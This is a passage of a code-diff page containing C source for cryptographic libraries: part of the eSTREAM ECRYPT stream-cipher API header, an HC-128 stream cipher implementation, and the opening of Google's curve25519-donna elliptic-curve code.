ECRYPT_ctx* ctx,
|
||||
const u8* key,
|
||||
u32 keysize, /* Key size in bits. */
|
||||
u32 ivsize); /* IV size in bits. */
|
||||
|
||||
/*
|
||||
* IV setup. After having called ECRYPT_keysetup(), the user is
|
||||
* allowed to call ECRYPT_ivsetup() different times in order to
|
||||
* encrypt/decrypt different messages with the same key but different
|
||||
* IV's.
|
||||
*/
|
||||
void ECRYPT_ivsetup(
|
||||
ECRYPT_ctx* ctx,
|
||||
const u8* iv);
|
||||
|
||||
/*
|
||||
* Encryption/decryption of arbitrary length messages.
|
||||
*
|
||||
* For efficiency reasons, the API provides two types of
|
||||
* encrypt/decrypt functions. The ECRYPT_encrypt_bytes() function
|
||||
* (declared here) encrypts byte strings of arbitrary length, while
|
||||
* the ECRYPT_encrypt_blocks() function (defined later) only accepts
|
||||
* lengths which are multiples of ECRYPT_BLOCKLENGTH.
|
||||
*
|
||||
* The user is allowed to make multiple calls to
|
||||
* ECRYPT_encrypt_blocks() to incrementally encrypt a long message,
|
||||
* but he is NOT allowed to make additional encryption calls once he
|
||||
* has called ECRYPT_encrypt_bytes() (unless he starts a new message
|
||||
* of course). For example, this sequence of calls is acceptable:
|
||||
*
|
||||
* ECRYPT_keysetup();
|
||||
*
|
||||
* ECRYPT_ivsetup();
|
||||
* ECRYPT_encrypt_blocks();
|
||||
* ECRYPT_encrypt_blocks();
|
||||
* ECRYPT_encrypt_bytes();
|
||||
*
|
||||
* ECRYPT_ivsetup();
|
||||
* ECRYPT_encrypt_blocks();
|
||||
* ECRYPT_encrypt_blocks();
|
||||
*
|
||||
* ECRYPT_ivsetup();
|
||||
* ECRYPT_encrypt_bytes();
|
||||
*
|
||||
* The following sequence is not:
|
||||
*
|
||||
* ECRYPT_keysetup();
|
||||
* ECRYPT_ivsetup();
|
||||
* ECRYPT_encrypt_blocks();
|
||||
* ECRYPT_encrypt_bytes();
|
||||
* ECRYPT_encrypt_blocks();
|
||||
*/
|
||||
|
||||
/*
|
||||
* By default ECRYPT_encrypt_bytes() and ECRYPT_decrypt_bytes() are
|
||||
* defined as macros which redirect the call to a single function
|
||||
* ECRYPT_process_bytes(). If you want to provide separate encryption
|
||||
* and decryption functions, please undef
|
||||
* ECRYPT_HAS_SINGLE_BYTE_FUNCTION.
|
||||
*/
|
||||
#define ECRYPT_HAS_SINGLE_BYTE_FUNCTION /* [edit] */
|
||||
#ifdef ECRYPT_HAS_SINGLE_BYTE_FUNCTION
|
||||
|
||||
#define ECRYPT_encrypt_bytes(ctx, plaintext, ciphertext, msglen) \
|
||||
ECRYPT_process_bytes(0, ctx, plaintext, ciphertext, msglen)
|
||||
|
||||
#define ECRYPT_decrypt_bytes(ctx, ciphertext, plaintext, msglen) \
|
||||
ECRYPT_process_bytes(1, ctx, ciphertext, plaintext, msglen)
|
||||
|
||||
void ECRYPT_process_bytes(
|
||||
int action, /* 0 = encrypt; 1 = decrypt; */
|
||||
ECRYPT_ctx* ctx,
|
||||
const u8* input,
|
||||
u8* output,
|
||||
u32 msglen); /* Message length in bytes. */
|
||||
|
||||
#else
|
||||
|
||||
void ECRYPT_encrypt_bytes(
|
||||
ECRYPT_ctx* ctx,
|
||||
const u8* plaintext,
|
||||
u8* ciphertext,
|
||||
u32 msglen); /* Message length in bytes. */
|
||||
|
||||
void ECRYPT_decrypt_bytes(
|
||||
ECRYPT_ctx* ctx,
|
||||
const u8* ciphertext,
|
||||
u8* plaintext,
|
||||
u32 msglen); /* Message length in bytes. */
|
||||
|
||||
#endif
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
/* Optional features */
|
||||
|
||||
/*
|
||||
* For testing purposes it can sometimes be useful to have a function
|
||||
* which immediately generates keystream without having to provide it
|
||||
* with a zero plaintext. If your cipher cannot provide this function
|
||||
* (e.g., because it is not strictly a synchronous cipher), please
|
||||
* reset the ECRYPT_GENERATES_KEYSTREAM flag.
|
||||
*/
|
||||
|
||||
#define ECRYPT_GENERATES_KEYSTREAM
|
||||
#ifdef ECRYPT_GENERATES_KEYSTREAM
|
||||
|
||||
void ECRYPT_keystream_bytes(
|
||||
ECRYPT_ctx* ctx,
|
||||
u8* keystream,
|
||||
u32 length); /* Length of keystream in bytes. */
|
||||
|
||||
#endif
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
/* Optional optimizations */
|
||||
|
||||
/*
|
||||
* By default, the functions in this section are implemented using
|
||||
* calls to functions declared above. However, you might want to
|
||||
* implement them differently for performance reasons.
|
||||
*/
|
||||
|
||||
/*
|
||||
* All-in-one encryption/decryption of (short) packets.
|
||||
*
|
||||
* The default definitions of these functions can be found in
|
||||
* "ecrypt-sync.c". If you want to implement them differently, please
|
||||
* undef the ECRYPT_USES_DEFAULT_ALL_IN_ONE flag.
|
||||
*/
|
||||
#define ECRYPT_USES_DEFAULT_ALL_IN_ONE /* [edit] */
|
||||
|
||||
/*
|
||||
* Undef ECRYPT_HAS_SINGLE_PACKET_FUNCTION if you want to provide
|
||||
* separate packet encryption and decryption functions.
|
||||
*/
|
||||
#define ECRYPT_HAS_SINGLE_PACKET_FUNCTION /* [edit] */
|
||||
#ifdef ECRYPT_HAS_SINGLE_PACKET_FUNCTION
|
||||
|
||||
#define ECRYPT_encrypt_packet( \
|
||||
ctx, iv, plaintext, ciphertext, mglen) \
|
||||
ECRYPT_process_packet(0, \
|
||||
ctx, iv, plaintext, ciphertext, mglen)
|
||||
|
||||
#define ECRYPT_decrypt_packet( \
|
||||
ctx, iv, ciphertext, plaintext, mglen) \
|
||||
ECRYPT_process_packet(1, \
|
||||
ctx, iv, ciphertext, plaintext, mglen)
|
||||
|
||||
void ECRYPT_process_packet(
|
||||
int action, /* 0 = encrypt; 1 = decrypt; */
|
||||
ECRYPT_ctx* ctx,
|
||||
const u8* iv,
|
||||
const u8* input,
|
||||
u8* output,
|
||||
u32 msglen);
|
||||
|
||||
#else
|
||||
|
||||
void ECRYPT_encrypt_packet(
|
||||
ECRYPT_ctx* ctx,
|
||||
const u8* iv,
|
||||
const u8* plaintext,
|
||||
u8* ciphertext,
|
||||
u32 msglen);
|
||||
|
||||
void ECRYPT_decrypt_packet(
|
||||
ECRYPT_ctx* ctx,
|
||||
const u8* iv,
|
||||
const u8* ciphertext,
|
||||
u8* plaintext,
|
||||
u32 msglen);
|
||||
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Encryption/decryption of blocks.
|
||||
*
|
||||
* By default, these functions are defined as macros. If you want to
|
||||
* provide a different implementation, please undef the
|
||||
* ECRYPT_USES_DEFAULT_BLOCK_MACROS flag and implement the functions
|
||||
* declared below.
|
||||
*/
|
||||
|
||||
#define ECRYPT_BLOCKLENGTH 64 /* [edit] */
|
||||
|
||||
#define ECRYPT_USES_DEFAULT_BLOCK_MACROS /* [edit] */
|
||||
#ifdef ECRYPT_USES_DEFAULT_BLOCK_MACROS
|
||||
|
||||
#define ECRYPT_encrypt_blocks(ctx, plaintext, ciphertext, blocks) \
|
||||
ECRYPT_encrypt_bytes(ctx, plaintext, ciphertext, \
|
||||
(blocks) * ECRYPT_BLOCKLENGTH)
|
||||
|
||||
#define ECRYPT_decrypt_blocks(ctx, ciphertext, plaintext, blocks) \
|
||||
ECRYPT_decrypt_bytes(ctx, ciphertext, plaintext, \
|
||||
(blocks) * ECRYPT_BLOCKLENGTH)
|
||||
|
||||
#ifdef ECRYPT_GENERATES_KEYSTREAM
|
||||
|
||||
#define ECRYPT_keystream_blocks(ctx, keystream, blocks) \
|
||||
ECRYPT_keystream_bytes(ctx, keystream, \
|
||||
(blocks) * ECRYPT_BLOCKLENGTH)
|
||||
|
||||
#endif
|
||||
|
||||
#else
|
||||
|
||||
/*
|
||||
* Undef ECRYPT_HAS_SINGLE_BLOCK_FUNCTION if you want to provide
|
||||
* separate block encryption and decryption functions.
|
||||
*/
|
||||
#define ECRYPT_HAS_SINGLE_BLOCK_FUNCTION /* [edit] */
|
||||
#ifdef ECRYPT_HAS_SINGLE_BLOCK_FUNCTION
|
||||
|
||||
#define ECRYPT_encrypt_blocks(ctx, plaintext, ciphertext, blocks) \
|
||||
ECRYPT_process_blocks(0, ctx, plaintext, ciphertext, blocks)
|
||||
|
||||
#define ECRYPT_decrypt_blocks(ctx, ciphertext, plaintext, blocks) \
|
||||
ECRYPT_process_blocks(1, ctx, ciphertext, plaintext, blocks)
|
||||
|
||||
void ECRYPT_process_blocks(
|
||||
int action, /* 0 = encrypt; 1 = decrypt; */
|
||||
ECRYPT_ctx* ctx,
|
||||
const u8* input,
|
||||
u8* output,
|
||||
u32 blocks); /* Message length in blocks. */
|
||||
|
||||
#else
|
||||
|
||||
void ECRYPT_encrypt_blocks(
|
||||
ECRYPT_ctx* ctx,
|
||||
const u8* plaintext,
|
||||
u8* ciphertext,
|
||||
u32 blocks); /* Message length in blocks. */
|
||||
|
||||
void ECRYPT_decrypt_blocks(
|
||||
ECRYPT_ctx* ctx,
|
||||
const u8* ciphertext,
|
||||
u8* plaintext,
|
||||
u32 blocks); /* Message length in blocks. */
|
||||
|
||||
#endif
|
||||
|
||||
#ifdef ECRYPT_GENERATES_KEYSTREAM
|
||||
|
||||
void ECRYPT_keystream_blocks(
|
||||
ECRYPT_ctx* ctx,
|
||||
u8* keystream,
|
||||
u32 blocks); /* Keystream length in blocks. */
|
||||
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
/*
|
||||
* If your cipher can be implemented in different ways, you can use
|
||||
* the ECRYPT_VARIANT parameter to allow the user to choose between
|
||||
* them at compile time (e.g., gcc -DECRYPT_VARIANT=3 ...). Please
|
||||
* only use this possibility if you really think it could make a
|
||||
* significant difference and keep the number of variants
|
||||
* (ECRYPT_MAXVARIANT) as small as possible (definitely not more than
|
||||
* 10). Note also that all variants should have exactly the same
|
||||
* external interface (i.e., the same ECRYPT_BLOCKLENGTH, etc.).
|
||||
*/
|
||||
#define ECRYPT_MAXVARIANT 1 /* [edit] */
|
||||
|
||||
#ifndef ECRYPT_VARIANT
|
||||
#define ECRYPT_VARIANT 1
|
||||
#endif
|
||||
|
||||
#if (ECRYPT_VARIANT > ECRYPT_MAXVARIANT)
|
||||
#error this variant does not exist
|
||||
#endif
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
#endif
|
||||
|
||||
|
|
@ -0,0 +1,295 @@
|
|||
|
||||
#include "ecrypt-sync.h"
|
||||
|
||||
/* =====================================================================
|
||||
* The following defines the keystream generation function
|
||||
*======================================================================*/
|
||||
|
||||
/*h1 function*/
|
||||
#define h1(ctx, x, y) { \
|
||||
u8 a,c; \
|
||||
a = (u8) (x); \
|
||||
c = (u8) ((x) >> 16); \
|
||||
y = (ctx->T[512+a])+(ctx->T[512+256+c]); \
|
||||
}
|
||||
|
||||
/*h2 function*/
|
||||
#define h2(ctx, x, y) { \
|
||||
u8 a,c; \
|
||||
a = (u8) (x); \
|
||||
c = (u8) ((x) >> 16); \
|
||||
y = (ctx->T[a])+(ctx->T[256+c]); \
|
||||
}
|
||||
|
||||
/*one step of HC-128, update P and generate 32 bits keystream*/
|
||||
#define step_P(ctx,u,v,a,b,c,d,n){ \
|
||||
u32 tem0,tem1,tem2,tem3; \
|
||||
h1((ctx),(ctx->X[(d)]),tem3); \
|
||||
tem0 = ROTR32((ctx->T[(v)]),23); \
|
||||
tem1 = ROTR32((ctx->X[(c)]),10); \
|
||||
tem2 = ROTR32((ctx->X[(b)]),8); \
|
||||
(ctx->T[(u)]) += tem2+(tem0 ^ tem1); \
|
||||
(ctx->X[(a)]) = (ctx->T[(u)]); \
|
||||
(n) = tem3 ^ (ctx->T[(u)]) ; \
|
||||
}
|
||||
|
||||
/*one step of HC-128, update Q and generate 32 bits keystream*/
|
||||
#define step_Q(ctx,u,v,a,b,c,d,n){ \
|
||||
u32 tem0,tem1,tem2,tem3; \
|
||||
h2((ctx),(ctx->Y[(d)]),tem3); \
|
||||
tem0 = ROTR32((ctx->T[(v)]),(32-23)); \
|
||||
tem1 = ROTR32((ctx->Y[(c)]),(32-10)); \
|
||||
tem2 = ROTR32((ctx->Y[(b)]),(32-8)); \
|
||||
(ctx->T[(u)]) += tem2 + (tem0 ^ tem1); \
|
||||
(ctx->Y[(a)]) = (ctx->T[(u)]); \
|
||||
(n) = tem3 ^ (ctx->T[(u)]) ; \
|
||||
}
|
||||
|
||||
/*16 steps of HC-128, generate 512 bits keystream*/
|
||||
void generate_keystream(ECRYPT_ctx* ctx, u32* keystream)
|
||||
{
|
||||
u32 cc,dd;
|
||||
cc = ctx->counter1024 & 0x1ff;
|
||||
dd = (cc+16)&0x1ff;
|
||||
|
||||
if (ctx->counter1024 < 512)
|
||||
{
|
||||
ctx->counter1024 = (ctx->counter1024 + 16) & 0x3ff;
|
||||
step_P(ctx, cc+0, cc+1, 0, 6, 13,4, keystream[0]);
|
||||
step_P(ctx, cc+1, cc+2, 1, 7, 14,5, keystream[1]);
|
||||
step_P(ctx, cc+2, cc+3, 2, 8, 15,6, keystream[2]);
|
||||
step_P(ctx, cc+3, cc+4, 3, 9, 0, 7, keystream[3]);
|
||||
step_P(ctx, cc+4, cc+5, 4, 10,1, 8, keystream[4]);
|
||||
step_P(ctx, cc+5, cc+6, 5, 11,2, 9, keystream[5]);
|
||||
step_P(ctx, cc+6, cc+7, 6, 12,3, 10,keystream[6]);
|
||||
step_P(ctx, cc+7, cc+8, 7, 13,4, 11,keystream[7]);
|
||||
step_P(ctx, cc+8, cc+9, 8, 14,5, 12,keystream[8]);
|
||||
step_P(ctx, cc+9, cc+10,9, 15,6, 13,keystream[9]);
|
||||
step_P(ctx, cc+10,cc+11,10,0, 7, 14,keystream[10]);
|
||||
step_P(ctx, cc+11,cc+12,11,1, 8, 15,keystream[11]);
|
||||
step_P(ctx, cc+12,cc+13,12,2, 9, 0, keystream[12]);
|
||||
step_P(ctx, cc+13,cc+14,13,3, 10,1, keystream[13]);
|
||||
step_P(ctx, cc+14,cc+15,14,4, 11,2, keystream[14]);
|
||||
step_P(ctx, cc+15,dd+0, 15,5, 12,3, keystream[15]);
|
||||
}
|
||||
else
|
||||
{
|
||||
ctx->counter1024 = (ctx->counter1024 + 16) & 0x3ff;
|
||||
step_Q(ctx, 512+cc+0, 512+cc+1, 0, 6, 13,4, keystream[0]);
|
||||
step_Q(ctx, 512+cc+1, 512+cc+2, 1, 7, 14,5, keystream[1]);
|
||||
step_Q(ctx, 512+cc+2, 512+cc+3, 2, 8, 15,6, keystream[2]);
|
||||
step_Q(ctx, 512+cc+3, 512+cc+4, 3, 9, 0, 7, keystream[3]);
|
||||
step_Q(ctx, 512+cc+4, 512+cc+5, 4, 10,1, 8, keystream[4]);
|
||||
step_Q(ctx, 512+cc+5, 512+cc+6, 5, 11,2, 9, keystream[5]);
|
||||
step_Q(ctx, 512+cc+6, 512+cc+7, 6, 12,3, 10,keystream[6]);
|
||||
step_Q(ctx, 512+cc+7, 512+cc+8, 7, 13,4, 11,keystream[7]);
|
||||
step_Q(ctx, 512+cc+8, 512+cc+9, 8, 14,5, 12,keystream[8]);
|
||||
step_Q(ctx, 512+cc+9, 512+cc+10,9, 15,6, 13,keystream[9]);
|
||||
step_Q(ctx, 512+cc+10,512+cc+11,10,0, 7, 14,keystream[10]);
|
||||
step_Q(ctx, 512+cc+11,512+cc+12,11,1, 8, 15,keystream[11]);
|
||||
step_Q(ctx, 512+cc+12,512+cc+13,12,2, 9, 0, keystream[12]);
|
||||
step_Q(ctx, 512+cc+13,512+cc+14,13,3, 10,1, keystream[13]);
|
||||
step_Q(ctx, 512+cc+14,512+cc+15,14,4, 11,2, keystream[14]);
|
||||
step_Q(ctx, 512+cc+15,512+dd+0, 15,5, 12,3, keystream[15]);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/*======================================================*/
|
||||
/* The following defines the initialization functions */
|
||||
/*======================================================*/
|
||||
|
||||
#define f1(x) (ROTR32((x),7) ^ ROTR32((x),18) ^ ((x) >> 3))
|
||||
#define f2(x) (ROTR32((x),17) ^ ROTR32((x),19) ^ ((x) >> 10))
|
||||
|
||||
/*update table P*/
|
||||
#define update_P(ctx,u,v,a,b,c,d){ \
|
||||
u32 tem0,tem1,tem2,tem3; \
|
||||
tem0 = ROTR32((ctx->T[(v)]),23); \
|
||||
tem1 = ROTR32((ctx->X[(c)]),10); \
|
||||
tem2 = ROTR32((ctx->X[(b)]),8); \
|
||||
h1((ctx),(ctx->X[(d)]),tem3); \
|
||||
(ctx->T[(u)]) = ((ctx->T[(u)]) + tem2+(tem0^tem1)) ^ tem3; \
|
||||
(ctx->X[(a)]) = (ctx->T[(u)]); \
|
||||
}
|
||||
|
||||
/*update table Q*/
|
||||
#define update_Q(ctx,u,v,a,b,c,d){ \
|
||||
u32 tem0,tem1,tem2,tem3; \
|
||||
tem0 = ROTR32((ctx->T[(v)]),(32-23)); \
|
||||
tem1 = ROTR32((ctx->Y[(c)]),(32-10)); \
|
||||
tem2 = ROTR32((ctx->Y[(b)]),(32-8)); \
|
||||
h2((ctx),(ctx->Y[(d)]),tem3); \
|
||||
(ctx->T[(u)]) = ((ctx->T[(u)]) + tem2+(tem0^tem1)) ^ tem3; \
|
||||
(ctx->Y[(a)]) = (ctx->T[(u)]); \
|
||||
}
|
||||
|
||||
/*16 steps of HC-128, without generating keystream, */
|
||||
/*but use the outputs to update P and Q*/
|
||||
void setup_update(ECRYPT_ctx* ctx) /*each time 16 steps*/
|
||||
{
|
||||
u32 cc,dd;
|
||||
cc = ctx->counter1024 & 0x1ff;
|
||||
dd = (cc+16)&0x1ff;
|
||||
|
||||
if (ctx->counter1024 < 512)
|
||||
{
|
||||
ctx->counter1024 = (ctx->counter1024 + 16) & 0x3ff;
|
||||
update_P(ctx, cc+0, cc+1, 0, 6, 13, 4);
|
||||
update_P(ctx, cc+1, cc+2, 1, 7, 14, 5);
|
||||
update_P(ctx, cc+2, cc+3, 2, 8, 15, 6);
|
||||
update_P(ctx, cc+3, cc+4, 3, 9, 0, 7);
|
||||
update_P(ctx, cc+4, cc+5, 4, 10,1, 8);
|
||||
update_P(ctx, cc+5, cc+6, 5, 11,2, 9);
|
||||
update_P(ctx, cc+6, cc+7, 6, 12,3, 10);
|
||||
update_P(ctx, cc+7, cc+8, 7, 13,4, 11);
|
||||
update_P(ctx, cc+8, cc+9, 8, 14,5, 12);
|
||||
update_P(ctx, cc+9, cc+10,9, 15,6, 13);
|
||||
update_P(ctx, cc+10,cc+11,10,0, 7, 14);
|
||||
update_P(ctx, cc+11,cc+12,11,1, 8, 15);
|
||||
update_P(ctx, cc+12,cc+13,12,2, 9, 0);
|
||||
update_P(ctx, cc+13,cc+14,13,3, 10, 1);
|
||||
update_P(ctx, cc+14,cc+15,14,4, 11, 2);
|
||||
update_P(ctx, cc+15,dd+0, 15,5, 12, 3);
|
||||
}
|
||||
else
|
||||
{
|
||||
ctx->counter1024 = (ctx->counter1024 + 16) & 0x3ff;
|
||||
update_Q(ctx, 512+cc+0, 512+cc+1, 0, 6, 13, 4);
|
||||
update_Q(ctx, 512+cc+1, 512+cc+2, 1, 7, 14, 5);
|
||||
update_Q(ctx, 512+cc+2, 512+cc+3, 2, 8, 15, 6);
|
||||
update_Q(ctx, 512+cc+3, 512+cc+4, 3, 9, 0, 7);
|
||||
update_Q(ctx, 512+cc+4, 512+cc+5, 4, 10,1, 8);
|
||||
update_Q(ctx, 512+cc+5, 512+cc+6, 5, 11,2, 9);
|
||||
update_Q(ctx, 512+cc+6, 512+cc+7, 6, 12,3, 10);
|
||||
update_Q(ctx, 512+cc+7, 512+cc+8, 7, 13,4, 11);
|
||||
update_Q(ctx, 512+cc+8, 512+cc+9, 8, 14,5, 12);
|
||||
update_Q(ctx, 512+cc+9, 512+cc+10,9, 15,6, 13);
|
||||
update_Q(ctx, 512+cc+10,512+cc+11,10,0, 7, 14);
|
||||
update_Q(ctx, 512+cc+11,512+cc+12,11,1, 8, 15);
|
||||
update_Q(ctx, 512+cc+12,512+cc+13,12,2, 9, 0);
|
||||
update_Q(ctx, 512+cc+13,512+cc+14,13,3, 10, 1);
|
||||
update_Q(ctx, 512+cc+14,512+cc+15,14,4, 11, 2);
|
||||
update_Q(ctx, 512+cc+15,512+dd+0, 15,5, 12, 3);
|
||||
}
|
||||
}
|
||||
|
||||
void ECRYPT_init(void) {
|
||||
} /* No operation performed */
|
||||
|
||||
/* for the 128-bit key: key[0]...key[15]
|
||||
* key[0] is the least significant byte of ctx->key[0] (K_0);
|
||||
* key[3] is the most significant byte of ctx->key[0] (K_0);
|
||||
* ...
|
||||
* key[12] is the least significant byte of ctx->key[3] (K_3)
|
||||
* key[15] is the most significant byte of ctx->key[3] (K_3)
|
||||
*
|
||||
* for the 128-bit iv: iv[0]...iv[15]
|
||||
* iv[0] is the least significant byte of ctx->iv[0] (IV_0);
|
||||
* iv[3] is the most significant byte of ctx->iv[0] (IV_0);
|
||||
* ...
|
||||
* iv[12] is the least significant byte of ctx->iv[3] (IV_3)
|
||||
* iv[15] is the most significant byte of ctx->iv[3] (IV_3)
|
||||
*/
|
||||
|
||||
void ECRYPT_keysetup(
|
||||
ECRYPT_ctx* ctx,
|
||||
const u8* key,
|
||||
u32 keysize, /* Key size in bits (128+128*i) */
|
||||
u32 ivsize) /* IV size in bits (128+128*i)*/
|
||||
{
|
||||
u32 i;
|
||||
|
||||
ctx->keysize = keysize;
|
||||
ctx->ivsize = ivsize;
|
||||
|
||||
/* Key size in bits 128 */
|
||||
for (i = 0; i < (keysize >> 5); i++) ctx->key[i] = U32TO32_LITTLE (((u32*)key)[i]);
|
||||
|
||||
for ( ; i < 8 ; i++) ctx->key[i] = ctx->key[i-4];
|
||||
|
||||
} /* initialize the key, save the iv size*/
|
||||
|
||||
|
||||
void ECRYPT_ivsetup(ECRYPT_ctx* ctx, const u8* iv)
|
||||
{
|
||||
u32 i;
|
||||
|
||||
/* initialize the iv */
|
||||
/* IV size in bits 128*/
|
||||
|
||||
for (i = 0; i < (ctx->ivsize >> 5); i++) ctx->iv[i] = U32TO32_LITTLE(((u32*)iv)[i]);
|
||||
|
||||
for (; i < 8; i++) ctx->iv[i] = ctx->iv[i-4];
|
||||
|
||||
/* expand the key and IV into the table T */
|
||||
/* (expand the key and IV into the table P and Q) */
|
||||
|
||||
for (i = 0; i < 8; i++) ctx->T[i] = ctx->key[i];
|
||||
for (i = 8; i < 16; i++) ctx->T[i] = ctx->iv[i-8];
|
||||
|
||||
for (i = 16; i < (256+16); i++)
|
||||
ctx->T[i] = f2(ctx->T[i-2]) + ctx->T[i-7] + f1(ctx->T[i-15]) + ctx->T[i-16]+i;
|
||||
|
||||
for (i = 0; i < 16; i++) ctx->T[i] = ctx->T[256+i];
|
||||
|
||||
for (i = 16; i < 1024; i++)
|
||||
ctx->T[i] = f2(ctx->T[i-2]) + ctx->T[i-7] + f1(ctx->T[i-15]) + ctx->T[i-16]+256+i;
|
||||
|
||||
/* initialize counter1024, X and Y */
|
||||
ctx->counter1024 = 0;
|
||||
for (i = 0; i < 16; i++) ctx->X[i] = ctx->T[512-16+i];
|
||||
for (i = 0; i < 16; i++) ctx->Y[i] = ctx->T[512+512-16+i];
|
||||
|
||||
/* run the cipher 1024 steps before generating the output */
|
||||
for (i = 0; i < 64; i++) setup_update(ctx);
|
||||
}
|
||||
|
||||
/*========================================================
|
||||
* The following defines the encryption of data stream
|
||||
*========================================================
|
||||
*/
|
||||
|
||||
void ECRYPT_process_bytes(
|
||||
int action, /* 0 = encrypt; 1 = decrypt; */
|
||||
ECRYPT_ctx* ctx,
|
||||
const u8* input,
|
||||
u8* output,
|
||||
u32 msglen) /* Message length in bytes. */
|
||||
{
|
||||
u32 i, keystream[16];
|
||||
|
||||
for ( ; msglen >= 64; msglen -= 64, input += 64, output += 64)
|
||||
{
|
||||
generate_keystream(ctx, keystream);
|
||||
|
||||
/*for (i = 0; i < 16; ++i)
|
||||
((u32*)output)[i] = ((u32*)input)[i] ^ U32TO32_LITTLE(keystream[i]); */
|
||||
|
||||
((u32*)output)[0] = ((u32*)input)[0] ^ U32TO32_LITTLE(keystream[0]);
|
||||
((u32*)output)[1] = ((u32*)input)[1] ^ U32TO32_LITTLE(keystream[1]);
|
||||
((u32*)output)[2] = ((u32*)input)[2] ^ U32TO32_LITTLE(keystream[2]);
|
||||
((u32*)output)[3] = ((u32*)input)[3] ^ U32TO32_LITTLE(keystream[3]);
|
||||
((u32*)output)[4] = ((u32*)input)[4] ^ U32TO32_LITTLE(keystream[4]);
|
||||
((u32*)output)[5] = ((u32*)input)[5] ^ U32TO32_LITTLE(keystream[5]);
|
||||
((u32*)output)[6] = ((u32*)input)[6] ^ U32TO32_LITTLE(keystream[6]);
|
||||
((u32*)output)[7] = ((u32*)input)[7] ^ U32TO32_LITTLE(keystream[7]);
|
||||
((u32*)output)[8] = ((u32*)input)[8] ^ U32TO32_LITTLE(keystream[8]);
|
||||
((u32*)output)[9] = ((u32*)input)[9] ^ U32TO32_LITTLE(keystream[9]);
|
||||
((u32*)output)[10] = ((u32*)input)[10] ^ U32TO32_LITTLE(keystream[10]);
|
||||
((u32*)output)[11] = ((u32*)input)[11] ^ U32TO32_LITTLE(keystream[11]);
|
||||
((u32*)output)[12] = ((u32*)input)[12] ^ U32TO32_LITTLE(keystream[12]);
|
||||
((u32*)output)[13] = ((u32*)input)[13] ^ U32TO32_LITTLE(keystream[13]);
|
||||
((u32*)output)[14] = ((u32*)input)[14] ^ U32TO32_LITTLE(keystream[14]);
|
||||
((u32*)output)[15] = ((u32*)input)[15] ^ U32TO32_LITTLE(keystream[15]);
|
||||
}
|
||||
|
||||
if (msglen > 0)
|
||||
{
|
||||
generate_keystream(ctx, keystream);
|
||||
|
||||
for (i = 0; i < msglen; i ++)
|
||||
output[i] = input[i] ^ ((u8*)keystream)[i];
|
||||
}
|
||||
|
||||
}
|
|
@ -0,0 +1,874 @@
|
|||
/* Copyright 2008, Google Inc.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are
|
||||
* met:
|
||||
*
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above
|
||||
* copyright notice, this list of conditions and the following disclaimer
|
||||
* in the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
* * Neither the name of Google Inc. nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from
|
||||
* this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*
|
||||
* curve25519-donna: Curve25519 elliptic curve, public key function
|
||||
*
|
||||
* http://code.google.com/p/curve25519-donna/
|
||||
*
|
||||
* Adam Langley <agl@imperialviolet.org>
|
||||
*
|
||||
* Derived from public domain C code by Daniel J. Bernstein <djb@cr.yp.to>
|
||||
*
|
||||
* More information about curve25519 can be found here
|
||||
* http://cr.yp.to/ecdh.html
|
||||
*
|
||||
* djb's sample implementation of curve25519 is written in a special assembly
|
||||
* language called qhasm and uses the floating point registers.
|
||||
*
|
||||
* This is, almost, a clean room reimplementation from the curve25519 paper. It
|
||||
* uses many of the tricks described therein. Only the crecip function is taken
|
||||
* from the sample implementation. */
|
||||
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include "../memory.h"
|
||||
#include "curve25519-donna.h"
|
||||
|
||||
#ifdef _MSC_VER
|
||||
#define inline __inline
|
||||
#endif
|
||||
|
||||
/* Field element representation:
|
||||
*
|
||||
* Field elements are written as an array of signed, 64-bit limbs, least
|
||||
* significant first. The value of the field element is:
|
||||
* x[0] + 2^26·x[1] + x^51·x[2] + 2^102·x[3] + ...
|
||||
*
|
||||
* i.e. the limbs are 26, 25, 26, 25, ... bits wide. */
|
||||
|
||||
/* Sum two numbers: output += in */
|
||||
static void fsum(limb *output, const limb *in) {
|
||||
unsigned i;
|
||||
for (i = 0; i < 10; i += 2) {
|
||||
output[0+i] = output[0+i] + in[0+i];
|
||||
output[1+i] = output[1+i] + in[1+i];
|
||||
}
|
||||
}
|
||||
|
||||
/* Find the difference of two numbers: output = in - output
|
||||
* (note the order of the arguments!). */
|
||||
static void fdifference(limb *output, const limb *in) {
|
||||
unsigned i;
|
||||
for (i = 0; i < 10; ++i) {
|
||||
output[i] = in[i] - output[i];
|
||||
}
|
||||
}
|
||||
|
||||
/* Multiply a number by a scalar: output = in * scalar */
|
||||
static void fscalar_product(limb *output, const limb *in, const limb scalar) {
|
||||
unsigned i;
|
||||
for (i = 0; i < 10; ++i) {
|
